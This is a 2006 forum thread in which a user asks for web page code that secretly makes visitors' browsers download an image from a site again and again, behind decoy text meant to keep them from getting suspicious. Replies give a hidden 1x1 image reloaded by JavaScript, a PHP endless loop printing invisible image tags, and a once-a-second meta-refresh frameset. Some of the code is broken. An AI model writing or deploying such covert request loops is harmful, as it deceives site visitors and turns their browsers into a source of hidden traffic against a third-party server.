Page 1 of 1

html/php code that downloads a pic?

Posted: 04 Jun 2006, 07:20
by ayu
Does anyone have a html/php code that downloads a picture from a site over and over again?....not with the "save and open window" coming up...just downloads without the user knowing.... as in

Enter site
*downloads picture without user knowing*
page contains like a little text just to fool them so they dont get suspicious :/

Posted: 04 Jun 2006, 08:24
by H4evr
I think you could use something like this:

Code: Select all

<img src="" name="imagetochange" id="imagetochange" width="1" height="1">

(script tag here)
function LoadPicture()
{
 document.getElementById("imagetochange").src = "--put_url_to_image_here--";
 return;
}
setInterval("LoadPicture()", 1000);
(end script here)
Please replace (script tag here) and (end script here).
Suck-o didn't let me post the correct tags.

The only problem is that after downloading a image, the browser will save it to the cache.

Posted: 04 Jun 2006, 11:17
by ayu
hmm ok, so this only downloads and saves it once? or?

Posted: 04 Jun 2006, 11:20
by H4evr
yes that's it. due to the browser. I don't know how to bypass this.

Posted: 04 Jun 2006, 13:03
by Gogeta70
This is simple.

Code: Select all

<st yle type="text/css">
img.invis
{
position:absolute;
z-index:-5;
}
</st yle>
<bo dy>
text text text text text
<?

set_time_limit(0);

for($a = 0; $a != 1; $b++)
{
echo "<im g class='invis' src='http://url.to/img.ext'>";
}

?>
You'll have to take out the spaces in the tags. The damn forums kept saying 'the html tags you attempted to use are not allowed'.

Posted: 04 Jun 2006, 14:51
by H4evr
I think it does the same as the javascript code I posted (but it's php) or is there a diference? I can it is an endless loop but can't tell more diferences. I was never good with php :(

Posted: 04 Jun 2006, 17:06
by ayu
when i try the page i get " text text text text } ?> " (i understand the part of text text text etc)

but the page doesnt download the pic... not even once.... something that i missed?

Posted: 04 Jun 2006, 17:29
by Gogeta70
Oh, sorry, i messed up the code a little bit. I fixed it though now (in my post before). The image isn't supposed to show up, even once. The image is 'invisible', meaning that it's only displayed if the body background color is transparent.

Posted: 05 Jun 2006, 03:41
by ayu
i tried the code now, but it doesnt seem to work. i try it on my own server with one of my own pictures. but it only says

**.30.168.*** - - [05/Jun/2006:11:39:12 +0200] "GET /zorse.php HTTP/1.1" 200 283

(don't ask my why i named it zorse ^^)

it doesn't ask for the image.

oh and one more thing....is this suposed to download the image only 1 time? or does it download it over and over again?

Posted: 05 Jun 2006, 06:13
by H4evr
gogeta's code contain an endless loop so the picture should be downloaded several times.

Points were you might have failed:
1º - Does your webserver support php?
2º - Did you take out the spaces that are in the tags?
Don't forget this one:
echo "<im g

Posted: 06 Jun 2006, 04:49
by ayu
1 yes

2 yes ^^

Posted: 07 Jun 2006, 04:30
by FrankB
neo130 wrote:1 yes

2 yes ^^
Just try it with a frameset and a plain old meta that refreshes the page every second, will you ?

--
FrankB

Posted: 07 Jun 2006, 09:15
by H4evr
neo130 wrote:1 yes

2 yes ^^
Ok

FrankB's suggestion looks good to me.

Posted: 07 Jun 2006, 13:43
by FrankB
neo130 wrote:when i try the page i get " text text text text } ?> " (i understand the part of text text text etc)
I think you don't...
If you get text text text with the "}" curly brace of the snipped of code plus the closing PHP entity "?>" then PHP is not properly configured on your server (if you have that one set up correctly, which i seriously doubt).

Be a nice guy and post us what you have set in your php.ini file and server config file.

..waiting...

Posted: 07 Jun 2006, 14:00
by ayu
FrankB wrote:
neo130 wrote:when i try the page i get " text text text text } ?> " (i understand the part of text text text etc)
I think you don't...
If you get text text text with the "}" curly brace of the snipped of code plus the closing PHP entity "?>" then PHP is not properly configured on your server (if you have that one set up correctly, which i seriously doubt).

Be a nice guy and post us what you have set in your php.ini file and server config file.

..waiting...

gogeta70 said that he messed it up and fixed it, after that the ?> dissapeard, and then only the "text text text" was there